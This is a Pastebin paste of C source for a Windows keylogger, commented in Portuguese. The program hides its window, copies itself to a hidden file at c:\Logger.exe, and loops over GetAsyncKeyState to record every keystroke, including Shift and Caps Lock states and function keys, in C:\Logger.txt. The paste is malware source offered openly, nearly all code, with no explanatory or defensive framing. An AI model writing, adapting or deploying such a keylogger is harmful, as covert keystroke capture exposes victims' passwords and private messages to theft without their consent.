SHARE
TWEET

Untitled

a guest Jul 17th, 2017 39 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <stdio.h>
  2. #include <conio.h>
  3. #include <windows.h>
  4. #include <stdlib.h>
  5.  
  6. int TeclasEspeciais(int x);
  7. int Numeros(int x);
  8. int nocaps(int x);
  9. int CapsLock(int x);
  10. int Escreve(int x);
  11. int Tecla();
  12.  
  13. HKEY Chave; //Variável do Registro
  14. int caps; //Variável para registrar se CapsLock está ativado
  15. int sft; //Variável para registrar se Shift está ativado
  16. char caminho[512]; //Variável para guardar o caminho do executável
  17.  
  18.  
  19.  
  20. int main(int argc,char *argv[])
  21. {   ShowWindow(GetForegroundWindow(),SW_HIDE);
  22.     strcpy(caminho,argv[0]);
  23.     CopyFile(caminho,"c:\\Logger.exe",0);
  24.     SetFileAttributes("c:\\Logger.exe", FILE_ATTRIBUTE_HIDDEN);
  25.     RegCloseKey(Chave);
  26.     i:
  27.         caps=GetKeyState(20); //Verifica estado do Caps Lock
  28.         sft=GetKeyState(16); //Verifica estado do Shift
  29.         Sleep(10); //Temporização de 10 milisegundos
  30.         Tecla(); //Chamada da função de leitura das teclas
  31.     goto i; //Retorno para nova leitura
  32. }
  33.  
  34. int TeclasEspeciais(int x) //Função de registro das teclas especiais
  35.  
  36. {   FILE *fp;
  37.     fp=fopen("C:\\Logger.txt","a");
  38.     switch(x)
  39.     {   case 48:
  40.             fprintf(fp,")");
  41.             break;
  42.  
  43.         case 49:
  44.             fprintf(fp,"!");
  45.             break;
  46.  
  47.         case 50:
  48.             fprintf(fp,"@");
  49.             break;
  50.  
  51.         case 51:
  52.             fprintf(fp,"#");
  53.             break;
  54.  
  55.         case 52:
  56.             fprintf(fp,"$");
  57.             break;
  58.  
  59.         case 53:
  60.             fprintf(fp,"%");
  61.             break;
  62.  
  63.         case 54:
  64.             fprintf(fp,"š");
  65.             break;
  66.  
  67.         case 55:
  68.             fprintf(fp,"&");
  69.             break;
  70.  
  71.         case 56:
  72.             fprintf(fp,"*");
  73.             break;
  74.  
  75.         case 57:
  76.             fprintf(fp,"(");
  77.             break;
  78.  
  79.         case 220:
  80.             fprintf(fp,"}");
  81.             break;
  82.  
  83.         case 221:
  84.             fprintf(fp,"{");
  85.             break;
  86.  
  87.         case 222:
  88.             fprintf(fp,"^");
  89.             break;
  90.  
  91.         case 219:
  92.             fprintf(fp,"`");
  93.             break;
  94.  
  95.         case 192:
  96.             fprintf(fp,"\"");
  97.             break;
  98.  
  99.         case 193:
  100.             fprintf(fp,"?");
  101.             break;
  102.  
  103.         case 190:
  104.             fprintf(fp,">");
  105.             break;
  106.  
  107.         case 188:
  108.             fprintf(fp,"<");
  109.             break;
  110.  
  111.         case 191:
  112.             fprintf(fp,":");
  113.             break;
  114.  
  115.     }
  116.     fclose(fp);
  117. }
  118.  
  119. int Numeros(int x)
  120. {   FILE *fp;
  121.     fp=fopen("c:\\Logger.txt","a");
  122.     switch(x)
  123.     {   case 48:
  124.             fprintf(fp,"0");
  125.             break;
  126.  
  127.         case 49:
  128.             fprintf(fp,"1");
  129.             break;
  130.  
  131.         case 50:
  132.             fprintf(fp,"2");
  133.             break;
  134.  
  135.         case 51:
  136.             fprintf(fp,"3");
  137.             break;
  138.  
  139.         case 52:
  140.             fprintf(fp,"4");
  141.             break;
  142.  
  143.         case 53:
  144.             fprintf(fp,"5");
  145.             break;
  146.  
  147.         case 54:
  148.             fprintf(fp,"6");
  149.             break;
  150.  
  151.         case 55:
  152.             fprintf(fp,"7");
  153.             break;
  154.  
  155.         case 56:
  156.             fprintf(fp,"8");
  157.             break;
  158.  
  159.         case 57:
  160.             fprintf(fp,"9");
  161.             break;
  162.  
  163.         case 219:
  164.             fprintf(fp,"Ž");
  165.             break;
  166.  
  167.         case 222:
  168.             fprintf(fp,"~");
  169.             break;
  170.  
  171.         case 220:
  172.             fprintf(fp,"]");
  173.             break;
  174.  
  175.         case 221:
  176.             fprintf(fp,"[");
  177.             break;
  178.  
  179.         case 191:
  180.             fprintf(fp,";");
  181.             break;
  182.  
  183.         case 188:
  184.             fprintf(fp,",");
  185.             break;
  186.  
  187.         case 190:
  188.             fprintf(fp,".");
  189.             break;
  190.  
  191.         case 193:
  192.             fprintf(fp,"/");
  193.             break;
  194.  
  195.     }
  196.     fclose(fp);
  197. }
  198.  
  199. int nocaps(int x)
  200. {   FILE *fp;
  201.     fp=fopen("c:\\Logger.txt","a");
  202.     switch(x)
  203.     {   case 65:
  204.             fprintf(fp,"a");
  205.             break;
  206.  
  207.         case 66:
  208.             fprintf(fp,"b");
  209.             break;
  210.  
  211.         case 67:
  212.             fprintf(fp,"c");
  213.             break;
  214.  
  215.         case 68:
  216.             fprintf(fp,"d");
  217.             break;
  218.  
  219.         case 69:
  220.             fprintf(fp,"e");
  221.             break;
  222.  
  223.         case 70:
  224.             fprintf(fp,"f");
  225.             break;
  226.  
  227.         case 71:
  228.             fprintf(fp,"g");
  229.             break;
  230.  
  231.         case 72:
  232.             fprintf(fp,"h");
  233.             break;
  234.  
  235.         case 73:
  236.             fprintf(fp,"i");
  237.             break;
  238.  
  239.         case 74:
  240.             fprintf(fp,"j");
  241.             break;
  242.  
  243.         case 75:
  244.             fprintf(fp,"k");
  245.             break;
  246.  
  247.         case 76:
  248.             fprintf(fp,"l");
  249.             break;
  250.  
  251.         case 77:
  252.             fprintf(fp,"m");
  253.             break;
  254.  
  255.         case 78:
  256.             fprintf(fp,"n");
  257.             break;
  258.  
  259.         case 79:
  260.             fprintf(fp,"o");
  261.             break;
  262.  
  263.         case 80:
  264.             fprintf(fp,"p");
  265.             break;
  266.  
  267.         case 81:
  268.             fprintf(fp,"q");
  269.             break;
  270.  
  271.         case 82:
  272.             fprintf(fp,"r");
  273.             break;
  274.  
  275.         case 83:
  276.             fprintf(fp,"s");
  277.             break;
  278.  
  279.         case 84:
  280.             fprintf(fp,"t");
  281.             break;
  282.  
  283.         case 85:
  284.             fprintf(fp,"u");
  285.             break;
  286.  
  287.         case 86:
  288.             fprintf(fp,"v");
  289.             break;
  290.  
  291.         case 87:
  292.             fprintf(fp,"x");
  293.             break;
  294.  
  295.         case 89:
  296.             fprintf(fp,"y");
  297.             break;
  298.  
  299.         case 90:
  300.             fprintf(fp,"z");
  301.             break;
  302.     }
  303.     fclose(fp);
  304.     if((sft==-127)||(sft==-128))TeclasEspeciais(x);
  305.     if((sft==1)||(sft==0))Numeros(x);
  306. }
  307.  
  308. int CapsLock(int x)
  309. {   FILE *fp;
  310.     fp=fopen("c:\\Logger.txt","a");
  311.     switch(x)
  312.     {   case 65:
  313.             fprintf(fp,"A");
  314.             break;
  315.  
  316.         case 66:
  317.             fprintf(fp,"B");
  318.             break;
  319.  
  320.         case 67:
  321.             fprintf(fp,"C");
  322.             break;
  323.  
  324.         case 68:
  325.             fprintf(fp,"D");
  326.             break;
  327.  
  328.         case 69:
  329.             fprintf(fp,"E");
  330.             break;
  331.  
  332.         case 70:
  333.             fprintf(fp,"F");
  334.             break;
  335.  
  336.         case 71:
  337.             fprintf(fp,"G");
  338.             break;
  339.  
  340.         case 72:
  341.             fprintf(fp,"H");
  342.             break;
  343.  
  344.         case 73:
  345.             fprintf(fp,"I");
  346.             break;
  347.  
  348.         case 74:
  349.             fprintf(fp,"J");
  350.             break;
  351.  
  352.         case 75:
  353.             fprintf(fp,"K");
  354.             break;
  355.  
  356.         case 76:
  357.             fprintf(fp,"L");
  358.             break;
  359.  
  360.         case 77:
  361.             fprintf(fp,"M");
  362.             break;
  363.  
  364.         case 78:
  365.             fprintf(fp,"N");
  366.             break;
  367.  
  368.         case 79:
  369.             fprintf(fp,"O");
  370.             break;
  371.  
  372.         case 80:
  373.             fprintf(fp,"P");
  374.             break;
  375.  
  376.         case 81:
  377.             fprintf(fp,"Q");
  378.             break;
  379.  
  380.         case 82:
  381.             fprintf(fp,"R");
  382.             break;
  383.  
  384.         case 83:
  385.             fprintf(fp,"S");
  386.             break;
  387.  
  388.         case 84:
  389.             fprintf(fp,"T");
  390.             break;
  391.  
  392.         case 85:
  393.             fprintf(fp,"U");
  394.             break;
  395.  
  396.         case 86:
  397.             fprintf(fp,"V");
  398.             break;
  399.  
  400.         case 87:
  401.             fprintf(fp,"X");
  402.             break;
  403.  
  404.         case 89:
  405.             fprintf(fp,"Y");
  406.             break;
  407.  
  408.         case 90:
  409.             fprintf(fp,"Z");
  410.             break;
  411.     }
  412.     fclose(fp);
  413.     if((sft==-127)||(sft==-128))TeclasEspeciais(x);
  414.     if((sft==1)||(sft==0))Numeros(x);
  415. }
  416.  
  417. int Escreve(int x)
  418. {   FILE *fp;
  419.     fp=fopen("c:\\Logger.txt","a");
  420.     switch(x)
  421.     {   case 2:
  422.             fprintf(fp,"BDM");
  423.             break;
  424.  
  425.         case 32:
  426.             fprintf(fp," ");
  427.             break;
  428.  
  429.         case 8:
  430.             fprintf(fp,"[BackSpace]");
  431.             break;
  432.  
  433.         case 13:
  434.             fprintf(fp,"[Enter]");
  435.             break;
  436.  
  437.         case 96:
  438.             fprintf(fp,"0");
  439.             break;
  440.  
  441.         case 97:
  442.             fprintf(fp,"1");
  443.             break;
  444.  
  445.         case 98:
  446.             fprintf(fp,"2");
  447.             break;
  448.  
  449.         case 99:
  450.             fprintf(fp,"3");
  451.             break;
  452.  
  453.         case 100:
  454.             fprintf(fp,"4");
  455.             break;
  456.  
  457.         case 101:
  458.             fprintf(fp,"5");
  459.             break;
  460.  
  461.         case 102:
  462.             fprintf(fp,"6");
  463.             break;
  464.  
  465.         case 103:
  466.             fprintf(fp,"7");
  467.             break;
  468.  
  469.         case 104:
  470.             fprintf(fp,"8");
  471.             break;
  472.  
  473.         case 105:
  474.             fprintf(fp,"9");
  475.             break;
  476.  
  477.         case 187:
  478.             fprintf(fp,"=");
  479.             break;
  480.  
  481.         case 189:
  482.             fprintf(fp,"-");
  483.             break;
  484.  
  485.         case 192:
  486.             fprintf(fp,"'");
  487.             break;
  488.  
  489.         case 9:
  490.             fprintf(fp,"[TAB]");
  491.             break;
  492.  
  493.         case 27:
  494.             fprintf(fp,"[ESC]");
  495.             break;
  496.  
  497.         case 112:
  498.             fprintf(fp,"[F1]");
  499.             break;
  500.  
  501.         case 113:
  502.             fprintf(fp,"[F2]");
  503.             break;
  504.  
  505.         case 114:
  506.             fprintf(fp,"[F3]",x);
  507.             break;
  508.  
  509.         case 115:
  510.             fprintf(fp,"[F4]");
  511.             break;
  512.  
  513.         case 116:
  514.             fprintf(fp,"[F5]");
  515.             break;
  516.  
  517.         case 117:
  518.             fprintf(fp,"[F6]",x);
  519.             break;
  520.  
  521.         case 118:
  522.             fprintf(fp,"[F7]",x);
  523.             break;
  524.  
  525.         case 119:
  526.             fprintf(fp,"[F8]");
  527.             break;
  528.  
  529.         case 120:
  530.             fprintf(fp,"[F9]");
  531.             break;
  532.  
  533.         case 121:
  534.             fprintf(fp,"[F10]");
  535.             break;
  536.  
  537.         case 122:
  538.             fprintf(fp,"[F11]");
  539.             break;
  540.  
  541.         case 123:
  542.             fprintf(fp,"[F12]");
  543.             break;
  544.  
  545.         case 35:
  546.             fprintf(fp,"[END]");
  547.             break;
  548.  
  549.         case 46:
  550.             fprintf(fp,"[Delete]");
  551.             break;
  552.  
  553.         case 20:
  554.             fprintf(fp,"[Caps Lock]");
  555.             break;
  556.  
  557.         case 16:
  558.             fprintf(fp,"[Shift]");
  559.             break;
  560.  
  561.     }
  562.     fclose(fp);
  563. }
  564.  
  565. int Tecla()
  566. {   int num;
  567.     caps=GetKeyState(20); //Verifica o estado do Caps Lock
  568.     sft=GetKeyState(16); //Verifica o estado do Shift
  569.     for(num=0;num<=255;num++) //Laço para verificação das teclas
  570.     {   if(GetAsyncKeyState(num)==-32767)
  571.         {   if((caps==0)&&((sft==1)||(sft==0)))nocaps(num);
  572.             if((caps==1)&&((sft==-127)||(sft==-128)))nocaps(num);
  573.             if((caps==1)&&((sft==1)||(sft==0)))CapsLock(num);
  574.             if((caps==0)&&((sft==-127)||(sft==-128)))CapsLock(num);
  575.             Escreve(num); //Vai para função de verificação das teclas
  576.         }
  577.     }
  578. }
RAW Paste Data
Top